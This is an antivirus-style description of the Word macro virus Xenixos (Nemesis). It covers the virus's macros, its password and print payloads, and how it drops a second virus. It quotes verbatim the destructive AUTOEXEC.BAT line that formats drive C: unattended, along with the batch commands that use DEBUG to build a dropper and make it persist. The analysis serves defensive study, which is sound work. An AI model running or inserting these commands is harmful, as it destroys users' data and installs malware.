Macro.Word.Xenixos (Nemesis)
                -------------------------------------------------

It is encrypted virus. It contains the macroses:

**********************************************************************************
        Drop                           nemesi11.txt
        Dummy                          nemesis5.txt
        AutoExec                       nemesis1.txt
        AutoOpen                       nemesis6.txt
        DateiOffnen                    nemesi10.txt
        ExtrasMakro                    nemesis2.txt
        DateiBeenden                   nemesis7.txt
        DateiDrucken                   nemesis8.txt
        DateiSpeichern                 nemesis3.txt
        DateiSpeichernUnter            nemesis4.txt
        DateiDruckenStandard           nemesis9.txt
***********************************************************************************


In some cases it sets the password "xenixos" for infected documents, 
displays the message:

 Diese Option ist derzeit leider nicht verf gbar.
 Fehler

While printing the documents it appends:

 Brought to you by the Nemesis Corporation,  1996

On 1st of may the virus writes the string to the AUTOEXEC.BAT file:

 @echo j|format c: /u >nul

This virus also launches "Neurobasher.b" multipartite virus. To do that the 
virus creates the C:\DOS\SCRIPT.SCR file, and writes hexadecimal dump 
of that virus into there. Then the virus creates the C:\DOS\EXEC.BAT file, 
and writes the strings into there:

 @echo off
 debug < script.scr>nul
 rem debugger.com
 echo @c:\dos\debugger.exe>>c:\autoexec.bat
 del c:\dos\script.scr
 del c:\dos\exec.bat

Then the virus executes that file. As the result DEBUG.EXE creates the
DEBUGGER.EXE file, and C:\AUTOEXEC.BAT has new string at its end:

 @c:\dos\debugger.exe

So, the last command of AUTOEXEC.BAT launches dropper of "Neurobasher.b" 
virus.
..........................................................................